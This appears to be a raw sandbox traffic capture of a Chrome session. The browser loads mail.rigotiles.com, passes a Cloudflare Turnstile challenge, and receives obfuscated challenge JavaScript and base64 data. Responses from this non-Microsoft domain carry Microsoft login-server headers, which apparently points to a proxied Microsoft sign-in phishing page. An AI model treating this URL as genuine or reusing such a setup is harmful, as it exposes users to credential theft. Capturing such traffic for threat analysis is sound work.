2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 Data Ascii: edback%20report%20has%20been%20successfully%20submitted","human_button_text":"Verify%20you%20are%20human","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 28 34 36 38 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 36 36 37 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 31 36 38 29 29 2f 38 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 38 31 39 29 29 2f 39 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 36 34 35 29 29 2f 31 30 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 31 37 35 32 29 29 2f 31 31 29 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 39 39 34 35 36 35 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 31 36 34 33 29 5d 2c 65 4f 3d 5b 5d 2c 65 50 3d 30 3b 32 35 36 3e 65 50 3b 65 4f 5b 65 50 5d 3d 53 74 72 69 6e 67 5b 67 4c Data Ascii: (468))/6)+parseInt(gK(667))/7+parseInt(gK(1168))/8+parseInt(gK(1819))/9+parseInt(gK(645))/10*(parseInt(gK(1752))/11),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,994565),eM=this\|\|self,eN=eM[gL(1643)],eO=[],eP=0;256>eP;eO[eP]=String[gL
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 31 37 30 35 29 5d 5b 68 69 28 31 37 36 34 29 5d 2c 6e 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 73 3d 6e 65 77 20 65 4d 5b 28 68 69 28 31 34 33 33 29 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 69 66 28 21 73 29 72 65 74 75 72 6e 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 73 5b 68 69 28 37 38 30 29 5d 3d 32 35 30 30 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 73 5b 68 69 28 31 37 33 30 29 5d 28 43 2c 48 2c 21 21 5b 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 78 3d 67 72 5b 68 69 28 31 38 33 37 29 5d 28 45 29 5b 68 69 28 31 39 30 39 29 5d 28 27 2b 27 2c 6b 5b 68 69 28 31 31 38 35 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 42 3d 66 68 28 67 5b 68 69 28 31 35 33 32 Data Ascii: 1705)][hi(1764)],n);continue;case'2':s=new eM[(hi(1433))]();continue;case'3':if(!s)return;continue;case'4':s[hi(780)]=2500;continue;case'5':s[hi(1730)](C,H,!![]);continue;case'6':x=gr[hi(1837)](E)[hi(1909)]('+',k[hi(1185)]);continue;case'7':B=fh(g[hi(1532
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 31 34 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 68 6a 28 31 34 35 37 29 5d 3d 66 2c 6d 5b 68 6a 28 31 35 39 32 29 5d 3d 67 2c 6d 5b 68 6a 28 39 31 31 29 5d 3d 68 2c 6d 5b 68 6a 28 34 38 35 29 5d 3d 69 2c 6d 5b 68 6a 28 31 35 33 32 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4c 28 31 38 36 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 68 6c 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6f 29 7b 69 66 28 68 6c 3d 67 4c 2c 69 3d 7b 27 4c 74 42 52 57 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 3d 6e 7d 2c 27 53 48 73 61 5a 27 3a 68 6c 28 35 32 35 29 2c 27 51 67 6b 76 41 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 2c 27 6a 45 45 6f 4d 27 3a 66 75 6e 63 74 Data Ascii: 14)](d);return m={},m[hj(1457)]=f,m[hj(1592)]=g,m[hj(911)]=h,m[hj(485)]=i,m[hj(1532)]=d,m},eM[gL(1864)]=function(d,e,f,g,h,hl,i,j,k,l,m,o){if(hl=gL,i={'LtBRW':function(n,o){return o===n},'SHsaZ':hl(525),'QgkvA':function(n,o,s){return n(o,s)},'jEEoM':funct
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 4c 28 38 38 31 29 5d 5b 67 4c 28 31 34 31 34 29 5d 2c 66 42 3d 21 5b 5d 2c 66 4f 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4c 28 31 32 35 38 29 5d 28 67 4c 28 39 38 37 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 69 61 2c 64 2c 65 2c 67 29 7b 28 69 61 3d 67 4c 2c 64 3d 7b 27 52 52 57 68 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 61 51 48 53 56 27 3a 69 61 28 34 35 37 29 2c 27 50 71 70 63 77 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 66 55 68 6c 54 27 3a 69 61 28 31 31 31 31 29 2c 27 48 41 50 6a 49 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 62 53 45 51 54 27 3a 69 61 28 31 31 31 35 29 2c 27 54 47 44 53 48 27 3a 66 75 6e Data Ascii: L(881)][gL(1414)],fB=![],fO=undefined,eM[gL(1258)](gL(987),function(c,ia,d,e,g){(ia=gL,d={'RRWhN':function(f){return f()},'aQHSV':ia(457),'Pqpcw':function(f,g){return f===g},'fUhlT':ia(1111),'HAPjI':function(f,g){return f===g},'bSEQT':ia(1115),'TGDSH':fun
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 28 67 2c 27 2a 27 29 29 3a 63 5b 69 51 28 38 31 36 29 5d 28 66 43 29 3a 66 44 28 29 7d 2c 31 65 33 29 29 2c 67 6e 3d 7b 7d 2c 67 6e 5b 67 4c 28 31 34 31 33 29 5d 3d 21 5b 5d 2c 67 6e 5b 67 4c 28 31 36 34 32 29 5d 3d 66 6d 2c 67 6e 5b 67 4c 28 31 32 36 37 29 5d 3d 67 62 2c 67 6e 5b 67 4c 28 35 30 32 29 5d 3d 67 67 2c 67 6e 5b 67 4c 28 31 33 36 38 29 5d 3d 67 68 2c 67 6e 5b 67 4c 28 34 36 31 29 5d 3d 67 63 2c 67 6e 5b 67 4c 28 31 34 31 38 29 5d 3d 67 69 2c 67 6e 5b 67 4c 28 39 33 33 29 5d 3d 67 66 2c 67 6e 5b 67 4c 28 31 35 30 37 29 5d 3d 67 65 2c 67 6e 5b 67 4c 28 39 30 35 29 5d 3d 66 41 2c 67 6e 5b 67 4c 28 35 32 33 29 5d 3d 67 61 2c 67 6e 5b 67 4c 28 31 35 30 33 29 5d 3d 67 39 2c 67 6e 5b 67 4c 28 31 36 33 33 29 5d 3d 66 72 2c 67 6e 5b 67 4c 28 37 35 33 Data Ascii: (g,'*')):c[iQ(816)](fC):fD()},1e3)),gn={},gn[gL(1413)]=![],gn[gL(1642)]=fm,gn[gL(1267)]=gb,gn[gL(502)]=gg,gn[gL(1368)]=gh,gn[gL(461)]=gc,gn[gL(1418)]=gi,gn[gL(933)]=gf,gn[gL(1507)]=ge,gn[gL(905)]=fA,gn[gL(523)]=ga,gn[gL(1503)]=g9,gn[gL(1633)]=fr,gn[gL(753
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 74 75 72 6e 20 69 2a 68 7d 2c 27 42 71 75 58 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 53 43 79 75 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 6b 72 69 4c 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 61 79 70 51 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 46 6c 4d 69 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 6a 4f 50 52 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 58 41 63 53 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 52 4c Data Ascii: turn i*h},'BquXG':function(h,i){return i&h},'SCyuU':function(h,i){return h<i},'kriLn':function(h,i){return h(i)},'aypQL':function(h,i){return i!=h},'FlMiR':function(h,i){return h==i},'jOPRL':function(h,i){return h<i},'XAcSn':function(h,i){return i!=h},'RL
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 31 36 37 31 29 5d 28 42 2c 43 29 29 7b 69 66 28 32 35 36 3e 43 5b 6a 65 28 31 31 33 33 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 64 5b 6a 65 28 36 39 39 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 6a 65 28 31 33 39 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6a 65 28 31 31 33 33 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 4d 26 31 7c 48 3c 3c 31 2c 49 3d 3d 64 5b 6a 65 28 31 36 33 36 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 6a 65 28 31 33 39 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 64 5b 6a 65 28 31 32 34 34 29 5d 28 73 2c 46 29 3b 48 3d 4d 7c 48 3c 3c 31 Data Ascii: 1671)](B,C)){if(256>C[je(1133)](0)){for(s=0;s<F;H<<=1,d[je(699)](I,j-1)?(I=0,G[je(1396)](o(H)),H=0):I++,s++);for(M=C[je(1133)](0),s=0;8>s;H=M&1\|H<<1,I==d[je(1636)](j,1)?(I=0,G[je(1396)](o(H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;d[je(1244)](s,F);H=M\|H<<1
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 48 3c 3c 31 7c 64 5b 6a 65 28 31 35 31 34 29 5d 28 4d 2c 31 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 6a 65 28 31 33 39 36 29 5d 28 64 5b 6a 65 28 39 36 36 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 30 3d 3d 44 26 26 46 2b 2b 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 76 6f 69 64 20 4d 28 29 7d 66 6f 72 28 4d 3d 32 2c 73 3d 30 3b 64 5b 6a 65 28 37 39 36 29 5d 28 73 2c 46 29 3b 48 3d 4d 26 31 2e 34 34 7c 48 3c 3c 31 2c 64 5b 6a 65 28 38 37 31 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 6a 65 28 31 33 39 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b Data Ascii: C]}else for(M=x[C],s=0;s<F;H=H<<1\|d[je(1514)](M,1),j-1==I?(I=0,G[je(1396)](d[je(966)](o,H)),H=0):I++,M>>=1,s++);D--,0==D&&F++}else return void M()}for(M=2,s=0;d[je(796)](s,F);H=M&1.44\|H<<1,d[je(871)](I,j-1)?(I=0,G[je(1396)](o(H)),H=0):I++,M>>=1,s++);for(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49739	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:54 UTC	684	OUT	GET /favicon.ico HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mail.rigotiles.com/jPsQWUcB Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157
2024-10-31 20:54:54 UTC	1007	IN	HTTP/1.1 404 Not Found Date: Thu, 31 Oct 2024 20:54:54 GMT Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: private Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} X-Ms-Ests-Server: 2.1.19343.4 - EUS ProdSlices X-Ms-Request-Id: 8e628d10-e034-41ce-96cc-d2a12f4a0e00 X-Ms-Srs: 1.P CF-Cache-Status: BYPASS Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8db68afc9c9a44f5-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17807&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1262&delivery_rate=162824&cwnd=32&unsent_bytes=0&cid=ef535cba73782a42&ts=530&x=0"
2024-10-31 20:54:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49740	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:54 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3003 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:54 UTC	3003	OUT	Data Raw: 76 5f 38 64 62 36 38 61 65 66 61 39 64 65 65 37 31 61 3d 24 39 34 69 4a 69 6a 69 4c 69 57 69 52 69 61 63 54 59 63 54 4a 56 6c 4a 6c 67 6f 36 6c 6f 54 6c 56 37 67 48 39 73 54 66 37 54 4b 56 4b 48 4d 34 6c 78 4b 37 77 58 6a 54 48 33 35 69 54 4a 47 65 45 54 4d 75 73 6c 62 54 57 56 6f 67 6d 58 55 54 6f 45 54 41 73 6c 66 6a 4b 54 56 4a 54 36 6c 52 33 51 66 41 54 47 69 54 48 54 77 75 30 56 54 35 69 37 75 54 72 69 47 2d 30 54 59 78 44 67 72 71 51 6d 53 34 73 57 25 32 62 70 69 6c 77 69 54 45 75 76 34 71 6a 54 37 6c 54 54 53 53 46 49 57 6f 79 72 48 4e 65 44 48 54 77 33 78 4b 4c 4c 7a 54 77 72 35 54 78 35 68 65 45 69 73 54 45 30 54 56 71 4a 54 41 30 75 54 73 69 35 63 37 4c 77 39 54 42 49 4c 63 69 54 6a 70 69 4c 4c 56 63 68 56 54 46 34 54 49 54 30 54 6b 69 54 38 33 Data Ascii: v_8db68aefa9dee71a=$94iJijiLiWiRiacTYcTJVlJlgo6loTlV7gH9sTf7TKVKHM4lxK7wXjTH35iTJGeETMuslbTWVogmXUToETAslfjKTVJT6lR3QfATGiTHTwu0VT5i7uTriG-0TYxDgrqQmS4sW%2bpilwiTEuv4qjT7lTTSSFIWoyrHNeDHTw3xKLLzTwr5Tx5heEisTE0TVqJTA0uTsi5c7Lw9TBILciTjpiLLVchVTF4TIT0TkiT83
2024-10-31 20:54:54 UTC	747	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:54 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149772 Connection: close cf-chl-gen: FoPbpNPoB/+j/3ioI4qcMcVQz0K49WFCV+c/Q5NLIvXiOoT8vXzZ1duydn0EQLBiTQV3XTSekBSrmxkWgKkbv/mUzrSnXXVpejmadIgT9K6E72pDtlK3XPSb49Vi7XGZPp7Ux752BRWXUz44++s+EnJSQ2qXUzY9k9CZI6FOJLTxJ/8japd535mUXMzbyfidA6CAwXt/SrXa0DWeKFpF+nguSkZtiMCK30/jbEgQc34Anj7/8HkZrwEzWW2WHCb5JXcZY7Ep21am4hFJ8k6GjkX19n+9jGzRfaWkAx14qVltqswv5KNoEPw8AGHxll8/T/KtYqH6q7xD4YSwHByyA8UX+1lyZfsth4b2yOFQrJI1S3XMUx6QQynvfWqrZ68E65ZX6ZLKSfAe0SnJKfJT6NfAiajFrDXWZPrr1hxXLUE3RUMSj5y6r6Jrr20HAvJl3y845Vp0ClspCxVFLKxTlRbrBy+z0/0Dx4EJPI0o888Un54=$Fbv1F3iGMbGkc/5X Server: cloudflare CF-RAY: 8db68afd2a044608-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:54 UTC	622	IN	Data Raw: 74 36 79 56 6c 4d 47 41 73 61 36 37 6c 33 2b 69 68 72 71 48 6d 4d 4f 4c 6e 35 7a 45 70 4b 75 2f 32 4a 6a 52 6b 59 33 63 7a 4c 2b 79 30 37 48 66 79 39 44 46 75 61 47 6c 31 63 50 55 70 4b 33 70 77 39 6d 71 71 71 76 69 74 50 4c 56 36 75 54 56 78 4d 6e 52 75 75 6e 71 75 72 7a 37 32 64 41 42 35 38 58 59 30 74 54 5a 36 75 6e 6f 42 4e 37 67 37 2f 45 56 38 2b 2f 68 45 75 34 45 48 52 44 37 33 41 30 67 41 4f 41 51 34 78 66 30 46 51 6e 6a 33 52 37 38 2b 69 59 74 4b 51 55 47 4a 2f 34 4c 49 6a 59 6f 41 2f 63 6c 4f 53 77 6f 2b 54 6c 41 4c 50 31 46 4f 68 4d 71 4d 7a 73 48 54 6a 67 4a 51 6b 34 63 4a 68 38 75 4c 67 35 52 4d 68 6b 34 4b 6b 67 62 55 6b 41 76 54 56 6c 46 51 7a 64 63 57 53 4a 6c 59 31 64 41 62 56 38 2b 55 6c 4d 6c 4e 47 67 73 4e 7a 56 79 4d 31 6c 77 56 54 78 Data Ascii: t6yVlMGAsa67l3+ihrqHmMOLn5zEpKu/2JjRkY3czL+y07Hfy9DFuaGl1cPUpK3pw9mqqqvitPLV6uTVxMnRuunqurz72dAB58XY0tTZ6unoBN7g7/EV8+/hEu4EHRD73A0gAOAQ4xf0FQnj3R78+iYtKQUGJ/4LIjYoA/clOSwo+TlALP1FOhMqMzsHTjgJQk4cJh8uLg5RMhk4KkgbUkAvTVlFQzdcWSJlY1dAbV8+UlMlNGgsNzVyM1lwVTx
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 64 54 6b 5a 4e 2f 69 6e 4a 5a 69 58 47 59 6d 48 39 31 66 47 35 34 64 6f 53 41 70 6e 43 43 59 59 75 6b 69 71 32 4b 6a 59 53 51 6a 71 52 2b 74 36 6c 7a 74 4b 69 54 70 5a 36 53 73 72 32 34 72 62 6d 62 75 48 2b 5a 74 4d 69 37 79 49 65 67 75 37 79 67 76 36 7a 4d 71 4b 6a 47 6a 61 69 32 71 37 4b 4f 32 4d 36 58 76 63 47 69 76 39 69 36 35 37 2b 78 77 2b 47 6b 72 4b 57 70 34 38 36 75 77 2b 37 4b 33 73 4c 32 78 62 62 47 75 74 72 51 2f 4c 36 34 75 50 6e 74 7a 37 76 5a 32 2f 67 46 42 50 58 57 36 38 73 46 79 4e 73 4e 36 65 55 4b 30 66 48 6d 30 52 6b 59 32 4f 2f 70 36 75 6a 77 47 64 58 73 2f 51 51 66 2b 68 76 37 2b 66 51 46 37 54 45 50 41 43 45 75 46 65 38 51 47 41 73 36 42 2f 4d 59 4d 76 30 78 47 41 38 7a 4c 6b 49 79 4a 42 6b 63 4f 52 31 41 54 51 34 47 4b 54 49 73 42 Data Ascii: dTkZN/inJZiXGYmH91fG54doSApnCCYYukiq2KjYSQjqR+t6lztKiTpZ6Ssr24rbmbuH+ZtMi7yIegu7ygv6zMqKjGjai2q7KO2M6XvcGiv9i657+xw+GkrKWp486uw+7K3sL2xbbGutrQ/L64uPntz7vZ2/gFBPXW68sFyNsN6eUK0fHm0RkY2O/p6ujwGdXs/QQf+hv7+fQF7TEPACEuFe8QGAs6B/MYMv0xGA8zLkIyJBkcOR1ATQ4GKTIsB
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 5a 6b 48 47 62 57 6c 47 55 59 49 47 41 66 58 61 69 6d 4b 57 61 63 33 79 41 68 47 32 77 69 6e 2b 67 72 5a 42 76 6a 36 42 71 75 59 5a 7a 6d 4c 46 39 73 4a 75 4f 73 71 33 45 6c 5a 75 50 6e 71 61 30 69 61 57 6e 74 70 79 73 78 62 36 65 6e 71 58 46 78 64 53 6d 79 37 75 75 31 64 54 66 6d 64 37 57 74 72 37 58 33 71 65 61 73 74 72 70 31 4c 76 66 34 62 37 71 36 64 2f 6b 76 65 62 31 7a 72 6e 74 79 50 54 4e 33 66 76 65 38 64 50 58 42 65 54 66 38 76 54 67 2b 77 50 4a 78 4d 72 50 43 4e 30 48 42 77 6a 32 34 67 2f 31 41 74 44 38 33 4e 63 65 43 66 6b 56 47 66 58 34 45 52 37 38 39 76 37 69 39 75 77 68 4a 42 73 4c 2b 69 73 72 43 79 38 77 44 76 4d 4d 49 77 73 51 4f 44 77 76 43 78 6f 67 51 43 41 6c 47 52 49 6a 4a 7a 30 55 53 6a 67 33 4b 6b 35 49 4a 6b 67 56 54 78 64 4d 45 46 Data Ascii: ZkHGbWlGUYIGAfXaimKWac3yAhG2win+grZBvj6BquYZzmLF9sJuOsq3ElZuPnqa0iaWntpysxb6enqXFxdSmy7uu1dTfmd7Wtr7X3qeastrp1Lvf4b7q6d/kveb1zrntyPTN3fve8dPXBeTf8vTg+wPJxMrPCN0HBwj24g/1AtD83NceCfkVGfX4ER789v7i9uwhJBsL+isrCy8wDvMMIwsQODwvCxogQCAlGRIjJz0USjg3Kk5IJkgVTxdMEF
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 59 48 65 43 65 57 32 6c 62 33 6d 6d 6d 6d 71 6d 6a 5a 75 6f 6e 58 47 62 6b 72 57 4a 68 35 57 53 67 36 75 4e 63 70 69 52 6e 61 71 4d 6a 48 36 6b 74 35 6d 52 6c 4b 61 68 6e 4a 53 6a 6c 38 33 4b 71 4a 76 46 79 71 32 73 71 4c 50 57 31 38 37 58 6d 63 33 4f 6d 70 4f 74 6e 71 4f 30 74 64 79 34 78 4d 44 54 76 63 58 49 32 73 72 6d 33 65 7a 4e 72 63 6e 53 77 63 4c 36 30 73 32 38 2b 63 33 4c 74 2f 58 59 76 63 33 36 32 50 66 59 32 65 72 55 41 4d 73 52 42 42 4c 52 42 4f 37 73 36 78 63 44 46 76 58 37 35 50 55 61 33 4f 6b 63 46 78 58 30 39 39 37 5a 43 51 76 30 4b 67 4c 35 43 41 41 4b 4c 67 51 52 43 43 41 71 43 41 49 46 43 44 41 61 4e 7a 55 30 47 68 45 50 4c 7a 63 6a 47 69 4a 47 4f 51 67 57 50 6a 6f 34 43 55 30 2f 44 30 4d 75 56 6c 49 6f 51 30 67 38 53 7a 52 4c 4c 43 42 Data Ascii: YHeCeW2lb3mmmmqmjZuonXGbkrWJh5WSg6uNcpiRnaqMjH6kt5mRlKahnJSjl83KqJvFyq2sqLPW187Xmc3OmpOtnqO0tdy4xMDTvcXI2srm3ezNrcnSwcL60s28+c3Lt/XYvc362PfY2erUAMsRBBLRBO7s6xcDFvX75PUa3OkcFxX0997ZCQv0KgL5CAAKLgQRCCAqCAIFCDAaNzU0GhEPLzcjGiJGOQgWPjo4CU0/D0MuVlIoQ0g8SzRLLCB
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 35 64 35 6f 58 4f 64 6e 71 36 46 68 71 53 79 69 48 79 46 62 61 65 51 69 62 71 45 6d 5a 71 77 75 70 61 63 6e 37 75 6a 6f 35 4f 67 73 61 65 36 6e 37 79 64 68 62 2b 6f 6f 59 6d 6c 76 63 2f 43 73 4d 72 4e 74 36 4f 73 71 37 62 5a 73 4c 79 33 34 39 58 53 77 36 61 2f 77 39 66 4a 75 39 76 61 76 65 54 6c 76 37 44 42 7a 2f 4c 4c 30 38 50 6e 79 38 6d 30 2f 74 54 41 36 77 48 31 41 75 30 41 2b 50 48 57 31 73 76 65 34 4f 72 76 77 67 4c 77 7a 4f 49 48 7a 67 66 59 2b 41 73 58 31 2f 37 38 31 51 44 76 41 42 33 33 4a 2f 4d 41 35 79 6f 4c 2f 75 6f 70 4b 4f 76 76 36 43 6f 47 4e 53 4d 6c 47 43 38 49 4b 6a 4c 31 4c 53 30 4f 39 6a 4e 42 2b 7a 38 42 42 43 6b 78 47 51 51 38 51 55 4d 4d 51 45 42 4c 53 30 30 48 46 6b 70 59 46 78 4d 6a 58 46 59 70 4c 47 46 4b 55 56 52 59 4d 69 59 64 Data Ascii: 